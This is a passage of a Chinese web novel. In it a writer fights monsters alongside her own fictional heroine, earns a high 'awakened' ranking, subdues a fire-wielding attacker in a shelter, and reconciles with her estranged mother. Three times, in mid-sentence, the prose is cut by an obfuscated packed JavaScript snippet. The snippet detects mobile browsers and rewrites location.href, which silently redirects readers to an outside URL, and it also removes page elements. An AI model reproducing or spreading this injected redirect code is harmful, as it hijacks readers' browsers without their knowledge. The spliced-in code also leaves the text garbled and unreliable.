就在第五只诡异要扑倒她的瞬间—— 一只手从她背后伸出,抓住那团淤泥最上方的眼睛。 那只诡异从接触点开始冻结,眨眼变成凝固的冰雕,被周围的同伴一挤,摔到地上压出裂痕。 【击杀1只诡异生物(1/10)】 那丝绿色像是被冻住了,悄然散去,灰雾重新合拢。 艾以何回头。 艾莉西亚正站在她身后。 不是之前那种一触即逝的幻觉,1米75的大高个穿着破损的皮甲,银发扎成马尾,看向她的脸上带着野性的笑。 “你……”对于这种场合的初见,艾以何不知道该说什么。 “我听到了,你需要我。”艾莉西亚先一步说话。 “每次你用我的能力,我这里……”她按住胸口,“就会跳得很快。这个地方很特殊,所以,我暂时能出来了。” 艾以何看着她按在胸口的那只手。骨节分明,还有深深浅浅的伤疤。 周围的诡异生物暂停了进攻,退到冰冻的淤泥后面,围着她们形成一个大圈。它们的眼睛不再乱转,似乎在评估这个新出现的敌人。 艾莉西亚扫了一眼它们。 “一百二十三只。”她语气没有丝毫紧张感,“你知道的,我打过更多。” 艾以何当然知道,但那都是她写的剧情。现在艾莉西亚正在眼前,立在那些诡异生物和自己之间,让艾以何的心情突然有点复杂。 “我没想到你会愿意出来。”她声音很轻,轻得像怕惊动什么。 “你为什么会这样想?”艾莉西亚转头看她,浅灰色的眼睛像高山上的湖水。 “因为......对不起。”艾以何顿了顿,“我没有给你一个很好的世界。”说完,她的手指无意识地蜷了一下。这是什么场合?周围全是怪物,她随时可能去死,却忍不住先和眼前的人道歉。 “你创造了我。” 艾莉西亚对她的态度,像一个很久没见的朋友,“有点自信啊,造物主。” “我……抱歉。” 艾以何低声。 艾莉西亚弯下腰,握住艾以何的手,手指抚摸着剑柄上那根磨损得只剩几根线的红绳。 “妈妈给我留下了这个。” 艾莉西亚的手是粗糙的,“我一直带着它,一直在找她。你把我写得很棒啊,我从没有放弃过。” “这就够了。” 艾莉西亚抬起艾以何的手,冰霜从她们脚下扩散,瞬间冻住最里面一圈的诡异。她或许是觉得它们太吵了,亦或是单纯想问一句:“你包里那张照片是妈妈吧,她真好看,你想见她吗?” 艾以何愣住:“什么?” “你的妈妈。”艾莉西亚重复一次,“你想见她吗?” 视线范围内的诡异全部凝结到了冰里,艾以何能看清冰面锋利的倒影,她和艾莉西亚几乎重叠到了一起。 “……想的。”她说。 艾莉西亚笑了一下。 那是艾以何从没写过的笑。就像艾以何背包里那张合影,小女孩依偎在妈妈怀里,对着这个世界充满快乐的笑容。 艾莉西亚说:“我会帮你。” 【当前同步率:25%↑】 【警告,角色艾莉西亚违规降临!】 冰霜覆盖了艾以何的手臂,但不是向外冒,而是安静地附着皮肤,宛如铠甲。 “静下心。”艾莉西亚的声音在她耳边响起,“去听,去看它们的眼睛。” 艾以何凝神看去。 那些淤泥的眼睛不再乱转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482366|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是全部转到了同一个方向。 “嘘,是个大家伙。”艾莉西亚说。 雾气深处传来沉重的脚步声。 “咚……咚……” “咚!” 一只更大的、形状更丑陋的独眼怪物拖着一根木棒,身形迟缓,毫不在意的踩扁了挡路的淤泥。 周围的诡异开始后退,给它让出了一条大路。 艾以何瞳孔微缩,艾莉西亚不急不慢,还有空给她调整了一下握剑姿势:“别急,再看它的脚。” 艾以何吐了口气,视线转到那只起码有三米高的怪物脚踝上。上面还在不断外渗着泥浆,但还有一圈灼烧的痕迹。很淡,但确实是存在的。 “看来有人先来过。”艾莉西亚轻笑,“没关系,让我们来收尾。” 巨怪停在她们的五米之外,那只眼睛死死盯着艾以何。不,应该是说,盯着她手里的剑。 这本就是艾莉西亚的剑,上面流过数以千计的魔王麾下怪物的血。 所以刚才那些看起来没有理智的淤泥怪物,都不敢继续往前。 “教学开始咯。”艾莉西亚语气轻松。 “啊?” “别闭眼。”艾莉西亚说,“好好看着。” 艾莉西亚握住剑柄,牵着她往前走,一步一步,剑尖划过地面,冰霜在后面留下一道白色的痕迹。 巨怪往后退了一步。 温度陡降,淤泥诡异感觉到危险,开始骚动。怪物们碰撞、撕扯、眼睛发出尖利的啸声,很快,被挤到最外面的几只朝她们扑了上来! 艾莉西亚没有停下脚步。 剑往上一撩,冰霜凝成一线,精准地冻住第一只诡异的眼睛。它马上又被后面的诡异撞倒,碰碎了冰冻的头部。 【击杀1只诡异生物(2/10)】 第二只快速袭来。艾莉西亚侧身,剑柄倒转,寒冰继续命中它最脆弱的眼睛。 第三只、第四只……源源不断的击杀提示吵到了艾以何的脑子。 每杀一只,她都能感觉到艾莉西亚的呼吸重了一分。 但她没有停。 巨怪终于忍不住了。它咆哮着扑了上来,身上的淤泥滑落,露出下面密密麻麻的眼睛。它们同时睁开,一齐射出光线! 冰墙升起! 光线撞上去,炸出漫天冰屑。 “就是现在。” 艾莉西亚带着艾以何挥动剑身,凝结的冰柱陡然伸长,刺进巨怪的后腰下方。 那是它身上唯一没有眼睛的地方! 巨怪发出震耳欲聋的惨叫。 冰霜从伤口暴力的挤入,眼睛一只接一只地冻上,巨怪的身体裂开,像一座正在坍塌的冰雕。 “三。”艾莉西亚数着。 “二……一。” 巨大的怪物倒下。 压倒了几只来不及逃开的淤泥诡异。 艾以何大口喘着气,她一直在观察艾莉西亚怎么出剑、怎么找到敌人的破绽,怎么一击必杀。 剩下的诡异生物本能地感到不安,试图退回雾里。艾莉西亚没有放过敌人的坏毛病,她笑了,声音充满愉悦。 “那么,现在是实践。” 在这一刻,艾莉西亚和艾以何完全同步。 “你之前就做得很好。记住,每个敌人都有弱点,找到它们。” 【当前同步率:100%↑】 冰墙从地面升起,拦住所有的怪物,将他们挤在一起。 冰锥从空中刺出,贯穿所有的猎物。 三秒。 最后几十只诡异生物,全部碎了。 艾以何睁大了眼睛,压根没看清她是怎么出手的。 【击杀38只诡异生物(125/10)】 【超额完成任务!】 提示音停顿了一秒。 【D3052世界管理员2号:向您致敬!】 【获得《随机雇佣书》x1】 【任务完成,可选择返回。】 5. 艾莉西亚被锁定 艾莉西亚的身影变得虚幻,几乎快和周围的雾气融为一体。在一地碎冰中,她松开剑,低头看自己的手。 “我刚才……”艾莉西亚神情有些疑惑。 艾以何莫名,“很强。”她此刻感觉很累,从骨头缝里往外渗的那种累,感觉被人减寿10年。 艾莉西亚摇头:“不是说这个。我刚才在你身体里的时候,感觉到了一个人。” “什么?” “和我一样。”艾莉西亚看向她,眉头蹙起,“但又有点不太一样,她很滑,我不喜欢蛇。” 艾以何心里一震。 “她叫……” 艾莉西亚的身影变得更淡了,“何露露?” 这三个字像一根针,扎进艾以何的脑子里。 她写何露露的那一年,刚和何晓慧的再婚对象见了第一面。之后,她把自己关在广电宿舍那个出租屋里,写出了一个在地下城活下来靠偷和抢的何露露。 那时候她想的是什么? 愤怒。满脑子都是愤怒。所以,她写的何露露不会在意任何人,是来去自由,杀人于无形的影子。 “她不愿意出来。” 艾莉西亚说,“她在等你。” “等我?” 艾莉西亚歪了歪头,努力组织语言。 “等你想起创造她时候的心情。”她不想再继续多说,雾气慢慢把她围住,一点一点抹去她的身影。 “对了,我没吃过巧克力。”艾莉西亚突然低头,向艾以何的背包伸出右手,“那是什么味道?” 手手从背包穿了过去。艾莉西亚抬起自己的手,愣了一下。 “哎,下次可没这么容易出来咯。” 说完,艾莉西亚消失了。 艾以何低头,扯了扯自己的背包系带,用气音说:“那我下次多带点啊。” 雾气里有什么东西一闪而过。 【同步结束】 【角色艾莉西亚违规突破同步率,已锁定。】 【您暂时无法提升相关角色技能。】 【已收到您的返回请求。】 违规? 艾以何的嘴唇抿紧,眉头跟着皱起来。但她最想要得到回应的那个人,此时已消失了踪迹。 远处出现一扇发光的小门,艾以何朝门走了几步,她回过头,只看见一道细细的影子消失在灰色中。 是……影子? 艾以何试了下,现在的体力还够召唤出一朵冰花,她凝聚出来,就那么放到地上。她继续走,踏入了光门。 细长的影子游了回来,嗷呜一口吃掉冰花,边嚼边追进门去。 艾以何再次睁开眼,看见酒店房间的天花板。手机在枕头边震动,但比之更剧烈的,是在脑袋里响起的刺耳通报。 【结算完成】 【您已击杀:诡异生物x1(精英)、诡异生物x124(普通)】 【获得积分:1500点】 【D3052世界新人排名已更新】 【当前排名:第872位】 艾以何抬起右手。 轻微的灼痛下,一个浅灰色的数字浮现在手背上,又随着艾以何的心意,慢慢变淡,最后隐入皮肤。 872? 她盯着那个数字。不知道这个排名是按战力,还是只按杀敌数算。 艾莉西亚已锁定,是不是意味着短时间无法召唤她。如果排名是看杀敌数,以自己当前25%的同步率来看,这个位置无疑充满了水分。 手机震动停了一会,又响起来。 艾以何低头,看到那个她已经记住的座机号码。她没立刻接,而是回想起艾莉西亚问自己关于见面的那个问题。 她那时回答说:“想的。” 艾以何深呼一口气,把电话接了起来。 “以何!”何晓慧的声音很急,“你没事吧?我刚才打了好几个电话你都没接。” “我在。”艾以何的右手贴在脸上,感觉有点热度,“刚才在忙,怎么了?” “你张叔叔——”何晓慧顿了一下,压低声音,“他觉醒超能力了。” 艾以何没敢吭声。 “就之前……他突然浑身发烫,脑壳上冒好大的烟!还从床上消失了,过了好半天才回来。吓死我了,但医生说这是觉醒,是好事!” 艾以何的听力增强了,听着电话那头的背景音。有人在喊“觉醒者请往这边登记”,也有小孩哭闹不止,还有工作人员在呼吁维持秩序。 “然后呢?”她问。 “然后来了几个人,都穿制服,还说普通话。”何晓慧的声音压得更低了,“他们说像你张叔叔这样的,要去首都统一培训,我们明早就要走。” 艾以何攥紧手机。 “你呢?”何晓慧问,“你现在在哪,安全吗?” “安全。” “那你……要不要一起走?”何晓慧的语气变了,变得小心翼翼,带着点讨好,“我问了,可以带家属。你张叔叔说反正是包大巴车,坐不满,多一个人不多。” 艾以何没说话。 电话那头传来一个男声,在喊“晓慧,帮我拿下那个包”。 “来了来了!”何晓慧应了一声,又对着电话说,“以何,你先考虑一下,我晚点再打给你。你张叔叔那边东西多,我先去帮忙……” “等等。” 何晓慧停住。 艾以何深吸一口气。 “我现在过来。” 电话那头沉默了两秒。 何晓慧的声音有点抖,“你真的愿意来?” “嗯。” “那……那我等你!你慢点走,不急,我——” “晓慧!”那边又在喊。 “来了来了!”何晓慧匆匆说,“我先挂了,你到了给我电话,我出来接你!” 电话挂断。 艾以何沉默,拿出手机,在网页上搜到“觉醒者排名”,显示违禁。转到聊天软件,一搜,她的作者群里有相关的缩写词,群里还炸开了锅。 “小白文之神居然排到了第一千五,说首都直接分了套房!” “真的假的?!” “保真,看这个。” “房屋赠与协议.jpg”(该消息涉嫌违规,已被屏蔽) 感觉这个群好像所有作者都觉醒了……一千五就能分房,艾以何盯着手机屏幕上那个“分房”的消息。突然想,如果她也能分一套房子,只要不像那个狭窄的老宿舍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482367|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 80平就可以。 艾莉西亚也能住得下了。 得学会做菜,艾莉西亚可不能吃外卖。她回过神来,又想了想,翻开通讯录,找到女警的电话。 女警接得很快:“艾女士,有什么事情吗?” “我从异空间回来了。”艾以何说,“排名872。” 电话那头倒吸一口气。 “你说多少?!” 艾以何重复:“872。” “你等等,我记一下!872,你到底杀了多少只怪物?你知道现在还活着的觉醒者里,平均杀敌数是多少吗?” 艾以何心里的石头落了地,“杀了125只。” “全国平均才6.7只!”女警说,“你是我们市最高的排名。” 艾以何没接话。 “你这数据我得马上报。”女警说,“可能要给你重新评级。你先别乱跑,等通知——” “我要去找我妈。”艾以何说,“她在高山街避难所。” 女警顿了一下。 “行。”她说,“但你需要电话保持畅通,不要开静音,可能随时要找你。还有,那个排名符号——” “看见了。” “那个别乱给人看。”女警压低声音,“现在各区都在统计,但具体规则还没出来。积分也别忙换,有大用处。食物、武器那些我们都能给你,保证优先保障。你先藏着,等我消息。” “好。” 艾以何挂断电话,站了起来。 背包在身边。她下意识地拉开拉链,那板巧克力还在。她手一顿,拿起那张合影。 照片里的她刚五岁,扎着两个小揪揪。何晓慧搂着她,笑得眼睛弯弯,确实很好看。 她把照片塞回包里,拉上拉链,闭上眼睛深深吐了口气。 艾以何想起刚才电话里,何晓慧喊“来了来了”,那种讨好的、小心翼翼的、生怕惹人生气的语气。 真让人无法忍受。 她不知道自己要去避难所做什么,但她知道,她必须要去。 艾以何背上包,按电梯准备下楼。林骁不耐烦的声音从消防通道的声音传来,随之而来的,还有浓的呛人的烟味。 “你来干嘛?不,大伯也别来。开车过来得一天了,路上多危险啊,我要死早都死了。” 林骁的拳头砸到了墙上。 “妈,求你了,听我一次好吗?” “叮!” 电梯到达这个楼层。 林骁似乎意识到走廊有人,把电话挂了。艾以何脚步飞快的踏进电梯,按下1楼。 电梯门关上,艾以何靠在电梯墙壁上,心想对方应该不想被她看到。 酒店大厅里挤满了附近回不了家的居民。有人在哭,有人在喊,前台满脸无奈。 她穿过人群,推门离开。 巷子里的三只小猫缩进纸箱,亲亲热热地挨在一起睡着了。那只大猫也还在,它抬起头,看了她一眼,又继续打瞌睡。 艾以何的手机又震动了。是何晓慧发来的消息: 【高山街避难所,C区3号门。到了说一声,我出来接你。】 【出发了,等着我。】 艾以何把手机塞回口袋,走进夜色。 6. 我也可以变成你的依靠 艾以何没打到车,召唤出剑,边走边练。 最开始挥剑的时候,她手腕习惯性多用一份劲。但没有另一只手的重量压制,剑身突然轻的发飘。 剑还在往前送,但送出去的力道找不到陪伴,半途就散了。她愣了下,明明姿势还是对的,手腕却不知道怎么转了。 她有点……想再见艾莉西亚一面。 艾以何继续挥剑,努力适应那只手不在的重量。 她到目的地的时候,已经快半夜11点了。 避难所以小学作为临时安置点,教学楼每层窗户都亮着光,操场上搭满了帐篷,门口还排着长队。 登记窗口外面放着密密麻麻的栅栏,细细长长的队伍里,有人裹着被子发呆,有人在哄孩子,或多或少,每个人脸上都有无法隐藏的焦虑。 艾以何掏出手机,发消息说她到了。 两分钟后,侧门的锁发出转动的响声。门被拉开了一条小缝,何晓慧跟里面的人道谢,挤了出来,小心翼翼地四处张望。 她身上的白色西服,溅到了斑斑点点的泥浆,头发只用了一个素圈扎着,脸上写满了熬夜的疲惫。 但看见艾以何的瞬间,她眼睛亮了一下,随即加快脚步跑过来。 “来了啊。”她说。 “嗯。” “路上安全吗?” “安全。” 何晓慧点点头,搓了搓手。她好像还想说什么,但艾以何等了一会,也只听到她说出来一句:“那走吧,你张叔叔还在里面收拾东西。” 艾以何嘴巴抿起来,看着她给门那头的人陪着笑脸,心里甚至对进去有了抗拒。 教学楼全被改成了临时宿舍,连走廊都摆满了行军床,到处是窸窸窣窣的人声和敲打的动静。 何晓慧领着她走到尽头倒数第二个铁门。一推开,艾以何看到黑板槽里的粉笔头还没清干净,教室被折叠床占满,角落里的桌椅快堆到天花板了。 “老张,以何来了。” 现在这里只有九个人。靠窗的床上坐着一个中年男人,正是何晓慧的再婚对象,张建国。他抬起头,冲艾以何笑了笑。 “以何,好久不见。” 艾以何记得这个人。但她只是点了点头,没吭声。 他和何晓慧结婚的头两年,老是偷偷往她手里塞钱,她总是涨红着脸推回去。 “你妈一直没睡,不停看手机等你消息。” 张建国也不在意她这个态度,继续低头收拾旅行包。艾以何听到他的话沉默了。又注意到包侧袋横插着的那根拐杖。 铝合金的折叠款,磨损程度很低,应该没用多久。 “你睡这儿。”何晓慧指了指靠窗的另一张床,枕头和床单提前被整理过,几乎没有褶皱,“我们明天一早走,车七点半到。你先休息一会,我去给你倒杯水。” 她转身要走。 “不用。”艾以何说。 何晓慧停住,就那么看着艾以何把背包放到脚旁,坐到自己的床边上。她还站在原地,像个不知所措的孩子。 “晓慧,帮我把那个充电器拿来。”张建国在那边喊。 “来了来了。”何晓慧应了一声,匆匆走了过去。 艾以何余光注视着她的背影。 她走路的样子有点急,像怕慢一步,就会有人说她似的。她拿起充电器递给张建国的时候,脸上带着那种笑。 和刚才求人开门一样,不是真的笑,是“我在这,你有事叫我”的笑。 艾以何觉得自己的呼吸变热了。 她从没见过何晓慧这样。 何晓慧有一个200名员工的加工厂。能自驾几百公里。会三国语言。是村里第一个大学生。 她不该是这样的。 走廊突然传来一阵骚动。 艾以何站起来,走到门口。走廊里围了一圈人。有人踮着脚拿手机在拍,有人在往外挤,最里面传来男人的吼叫声和女人的哭声。 “怎么了?”何晓慧也走过来。 “不知道。” 艾以何松开握紧的手,拨开人群往里挤了进去。 正中间,一个稍显瘦弱的男人正按着穿保安制服的男人在打。那保安已经满脸是血,躺在地上不动了,男人还骑在他身上,拳头一下一下往下砸。 “力气大了不起啊,就能抢东西啊!”男人边打边吼,“我妈的救心丸你也抢!我妈要是死了,你们都去死吧!” 他抬起手,掌心突兀的冒出一团火。 人群往后缩。艾以何蓄力,右手虚握,细碎的冰霜开始从指缝里掉落。 “住手!” 两个穿制服的警察赶来,手里都举着枪。 “蹲下!手抱头!” 男人抹了把手上的血,笑了。 “警察同志,你们刚才怎么不来啊。”他往前走了一步,“你们这枪有用吗?” 年轻警察手抖了一下。 中年警察没动,用枪口指着男人的头:“最后一遍,蹲下。” 男人脸上的笑容变得更大,手里的火越烧越旺,半人高的火焰几乎快撞到天花板上。 “行啊,你开枪试试。看是你先打死我,还是我先烧死你。” 气氛绷到极点! 艾以何站在人群里,看见拄拐杖的老人,抱孩子的母亲,还有躺在床上动弹不得的伤者。如果火真的烧起来,走廊还有这么多人,根本跑不掉。 她往前走了一步,何晓慧在后面拉她:“以何!” “你回房间里去。”艾以何没回头。 她走到中年警察旁边,站定。 男人愣了一下:“你谁呀?” 【当前同步率:25%】 艾以何没说话,冰霜凝结成剑,一下将室内的高温降了几度。 男人手里的火缩了一下。“觉醒者?”他眯起眼,“别多管闲事。” 艾以何说:“建议你换个没人的地方打。” 她的话音刚落,火球直接往她脸上砸了过来! 艾以何挥剑横斩,火焰被劈成两半,顺着气流撞上天花板。 但没有结束!男人神经质的笑了起来。 两团火在天花板上打了个转,蓄力一跳,一左一右俯冲下来! 艾以何后退半步,剑尖点地。 冰环成型,左边那团火就先撞了上来。 轰! 冰屑四溅! 艾以何被冲击的力道震得站姿不稳,冰层晃动,右边那团火趁虚而入,火舌舔穿防御,发尾发出焦糊味。 她本能的退一步,险些烧到皮肤! 但比疼更清晰的,是艾以何脑子里冒出来的画面。 雪原上,艾莉西亚被狼群围攻,一头狼从左边佯攻,两头狼在右边绕圈,跃跃欲试。 不能逃跑。一旦后背露给敌人,就是必死的结局。 “她”当时是怎么做的? 已被烧薄的冰墙碎裂,冰霜漫天。艾以何挥剑,再次截断火焰,主动冲向尚未归拢的火势。同时,无数冰晶凝成细针,一齐转向,冲火能最密集的地方刺去。 火焰被连撞数百下,顶端都快成了冰蓝色的幻影,滚烫的火被溶解、被汽化,体积更是肉眼可见地缩小了一圈。 那个男人脸上失去笑容:“怎么可能!” 艾以何没给他反应的时间,第二波冰针紧随其后,锋利的尖端瞄准了他的脸。 男人下意识闭眼,抬手去挡,火焰疯狂涌回手掌,全力去保护宿主。 火焰聚拢的瞬间! 冰霜从地面涌出,爬上他的脚踝、小腿、膝盖——艾以何刻意止住了,她不想冻死他。 但对方没领情,放下手狞笑起来:“就这点本事?”他再次抬手,火焰在掌心聚集。 艾以何叹了口气。 冰霜从四面八方同时涌出。墙壁上、天花板上、地板上,所有的火焰都被吞没。 冷硬的冰层从男人脚踝一路爬到大腿、腰、胸口,在脖子那里停住。 “别再动了。”艾以何喘着粗气,差点站不稳。 还好男人也不敢动了。 中年警察冲上来,一枪托砸在他后颈上。对方眼睛一翻,软倒在地。 【同步结束】 艾以何仿佛听到了艾莉西亚的笑声。 “做的不错。” 冰霜瞬间消退,除了地上还残留的水渍,仿佛什么也没发生过。 年轻警察跑过来,掏出手铐把犯人铐上。 艾以何蹲下来,手肘撑在膝盖上大口呼气。刚才那一下几乎把她抽空。 中年警察走过来,递给她一瓶水:“同志,厉害啊!刚才那冰墙,还有最后那一下,绝了!” 艾以何看了那瓶水一眼,没接。 “不用。”她说。 中年警察愣了一下,手停在半空。 “怕里面有东西啊?”他问。 “不是。”艾以何避开他的视线,“不舒服,喝不下。” “不难受哦?你住哪个教室,我们送你回去。”中年警察说。 “没事,我自己可以,没到那地步。”艾以何说,“刚才怕伤着其他人,收着打的。” 中年警察愣了一下,过了两秒,他才重重拍了她一下肩膀:“好样的!这觉悟!”他又小声嘀咕了一句:“要是都这么想就好了。” 艾以何当做没听到,转身往回走。走廊边上,张建国不知道什么时候也起床了,杵着拐杖,站在忍不住出来的何晓慧前面。他看见艾以何看过来,下意识往后缩了半步。 他们的视线对上了。 张建国笑了一下,竖起大拇指:“以何,厉害啊。” 但那笑容有点僵。 但看着他身下的拐杖,她想起何晓慧那句“他为救我受了伤”。 艾以何“嗯”了声,从他身边走过去。何晓慧还站在原地,她看着艾以何,嘴巴张了张嘴,没说出话。 但她眼睛里有光。 那种光以前也有过。在艾以何第1次考了100分的时候。后来,她考上了重本,何晓慧还在工厂拉了横幅。 但那都是很久以前的事了。 “回去吧。”艾以何回头,对她说。 因为刚才的异动,教室里的人都跑空了。他们回床休息不久,中年警察拿着平板进来,“同志,你好,这边做一个登记。” “加入民兵队了吗?哪个区的?” 艾以何颔首,“加了,乐水区。” 中年警察动作不太熟练的翻了几下平板,然后递到她面前:“你看看,这是不是你?” 屏幕上是一张扫描件,籍贯、性别那些可以忽略不计,艾以何注意到了官方对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482368|201820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的评级。 《乐水区觉醒者临时登记表》 姓名:艾以何 年龄:24 能力倾向:攻击型 评级:A等 备注:世界排名872位。 “是你吧?”中年警察看着她,“刚才群里弹了消息,说我们区有个觉醒者排名冲进前一千,我还不信,没想到高人就在眼前。” 艾以何感觉自己耳朵有点烧,“是我。” 中年警察把平板收回去,冲她点点头:“刚刚那个冰,哎,才觉醒一天就这么厉害。要都是像你这样,我们压力小多了。对了,你接下来什么安排?” “不知道。”艾以何说,“等通知。” “行,保持联系。”中年警察加了她的手机号,冲明显是她家属的何晓慧友好的笑了笑,这才去其他地方查房。 “他刚才说……什么一千名?”何晓慧的声音有点飘,“那是什么?” “应该是杀敌的排名。”艾以何转头就看向张建国,“杀诡异生物,你不知道吗?觉醒了就必须干这个。” 张建国表情一下变得慌乱,对她挤眉弄眼,暗示她不要说的太严重。 何晓慧没说话,但她的眼神变了。 不是刚才那种“我女儿真厉害”的骄傲。而是另一种,像是在重新打量一个陌生人的目光。 艾以何也见过这种眼神。 何晓慧离婚之前,她看艾靖翔也是这样。 母女两个没说话,张建国尴尬的玩了会手机。过了一会,他站起来,右腿明显使不上劲,撑着床沿缓了一下才站稳。 “我去外面抽根烟。你们娘俩慢慢聊。” 门关上了。 何晓慧在张建国的床上坐下,不知道在想什么。 窗外天已经蒙蒙亮了。操场上有人在收帐篷,有人在排队领早餐,有人站在水池边刷牙。 看起来和普通早晨没什么区别。 但仔细看,区别到处都是。有个收帐篷的女人,收着收着突然停下来,发给她的金属帐篷杆被掰弯了。 她愣了一下,赶紧把杆子藏到身后,四处张望了一圈。以为没人看见,这才松口气。旁边没人说话,但其实好几个人的眼睛,都在往那边瞟。 艾以何站在窗边,看着这一幕。她突然想起女警说过的话,“金茂街有条宠物狗突然喷火,烧了山山羊肉馆的包间。”那时候她觉得那是新闻。 现在她觉得,这大概是以后的日常。 “以何。”何晓慧突然开口。 艾以何没吭声。 “你张叔叔那人吧,就是胆小。”何晓慧继续说,“但他对我还行。这次要不是他护着我,我可能就……” 她没说完。 “你要是想跟他走,工厂应该也开不下去了。”艾以何语气平静,“刚才听到那个警察说的,我的排名好像还可以。等到了首都,你想办法用我去提条件,最好弄个工作干着。” 何晓慧脸色变了。 “以何,你说什么呢!” “我说的是实话,你那一两千万在那边不说别墅,连个地段好点的大平层都买不了。”艾以何看着她,“他是觉醒者,你只是家属,一张结婚证代表不了什么。” 何晓慧的手攥紧了,还在发抖。 “但我不一样。”艾以何声音变轻。 看看我。 妈妈。 看看我啊。 “好了!”何晓慧肩膀绷着。 教室里很静。 窗外的光越来越亮,落在她们之间的地面上,落在那条看不见的线上。 过了很久,何晓慧才开口。声音像是从嗓子眼里挤出来的一样。 “刚送你去你外婆那的时候,我有时候半夜睡不着,就盯着天花板想你。”何晓慧顿了顿,“后来不想了。想了也没用。” “那几年,我经常被拖货款,月底了就干啃厂里的馒头。别看现在厂子大了,我不拖工人工资,可货款又收不回来,账上根本没什么钱。” 艾以何平静的看着她。 “我不是非要找个男人。”何晓慧说,“我是怕。怕你以后结婚了,有自己的家,我一个人逢年过节都不知道去哪。” 何晓慧眼眶红了,但眼泪没掉下来。 “我没想到你会觉醒,我从来就没图过你什么。” 她哽咽了一下,没说完。艾以何站起来,走到窗边。 操场上的人越来越多了,三辆大巴车开到学校外面,车身上贴着“乐水区觉醒者专列”的条幅。 “妈。”她背对着何晓慧说。 何晓慧应了一声。 “我只是想让你知道。”艾以何没法去看她的脸,只是努力让自己的声音不那么抖,“我也可以变成你的依靠。” 何晓慧没说话。 “有人陪着你挺好的。”艾以何的声音越来越小,“我也不是需要人陪着的小孩子了。” 何晓慧的眼泪终于掉下来了。 “我知道。”她抽了张纸,按住眼睛,“我知道……” 沉默。 艾以何知道她在哭,但她走不过去。那条线还在,只是变淡了一点。 太阳从窗户照进来,落在床边的扶手上,金灿灿的。张建国敲了敲门,在门口冲她们招手。 “快点,车要开了!” 7. 张鹰一枪打断影子爆发 何晓慧拍了拍自己发烫的脸,提起旅行包,往外走了两步,又停下来回头。 艾以何沉默片刻,跟了上来,替她拿过包,并肩往外走。走廊里,张建国一个人在前面,杵着拐杖费力地走着。 何晓慧脚步放慢,突然对艾以何开口:“刚才那把剑……是艾莉西亚的能力吧?” 艾以何愣住了。 她声音变得干涩。 “你知道?” “我看过。”何晓慧叹息,“每一章我都看过。” 艾以何这次连脸都烧了起来。她突然想起那条评论。“写不来母女别写!” 何晓慧明明看到了,却这时候才说。 “艾莉西亚,何露露,还有……阿野,三个都是好孩子。”何晓慧看着她,“妈妈一直都明白。” 艾以何缓慢的眨了下眼睛。 她的影子一瞬间变了形状,像一只被激怒的野兽。艾以何踩住了它,将一切隐藏下去。 何晓慧没再说什么,快步上前,扶住想下台阶的张建国。 张建国努力撑着拐杖,小声地说:“我这样太不安逸了,没你什么都干不了。” “瞎说什么呢。”何晓慧掐了他一把。 艾以何站在原地,看着她们离开的背影。 艾莉西亚的话犹在耳边:“有点自信啊,造物主。” 艾以何鼻子发酸。 艾莉西亚,换做是你,这个时候会怎么做呢? 避难所外面,持枪的特警站在大巴两侧,中年警察正在和领头人对名单。 艾以何的手机突然响了。她掏出来一看,是女警的号码。 “喂?” “艾女士,你现在在哪?”女警的声音很急。 “高山街避难所。” “千万别跟车走!”女警有些着急,“郊区的基地出了一点问题,需要耽搁你半天时间。今晚还有一班车专门送你,对接你的专员在路上了,别随便跟人走。” 艾以何挂断电话,抬头看何晓慧。对方也正看着她,眼里有疑问。 “我不能走了。”艾以何说。话出口的瞬间,她意识到自己松了一口气。 何晓慧愣住:“那你……” “你们先走。”艾以何说,“我处理完这边的事,再去首都找你。” 何晓慧嘴巴动了动,张建国在旁边探过头:“以何不一起走?” “不了。”艾以何说。 张建国点点头,也没多问。他从艾以何手里接过包,费力地往车上挪。他右腿拖在地上,走得很慢。 何晓慧还站在原地,就那么看着女儿。 “以何……” “没事。”艾以何冲她摇了摇头,“你先上车,到了给我发消息。” “你一个人行吗?” 艾以何看着她。她多么希望在十几年前听到这句话。 她说:“我可以的。” 何晓慧点点头,眼眶又红了。 “好。”她说,“你照顾好自己。” “嗯。” 何晓慧转身,往车上走。走了几步,又回头看她。 艾以何站在原地。 阳光落在她身上,把她的影子拉得很长。 何晓慧上了车,找了个靠窗的位置坐下。她隔着玻璃,看着艾以何,抬起手,轻轻挥了挥。 艾以何没挥手。 但她也没移开视线。 车发动了,缓缓驶出避难所。何晓慧的脸在车窗后越来越远,越来越模糊。直到车拐进下一个路口,再也看不到她的踪影。 艾以何想起五岁那年,自己也是这样看着何晓慧离开。那时候她哭得很厉害,追着车跑了好几米,被外婆一把抱住。 后来,何晓慧很久都没回来。 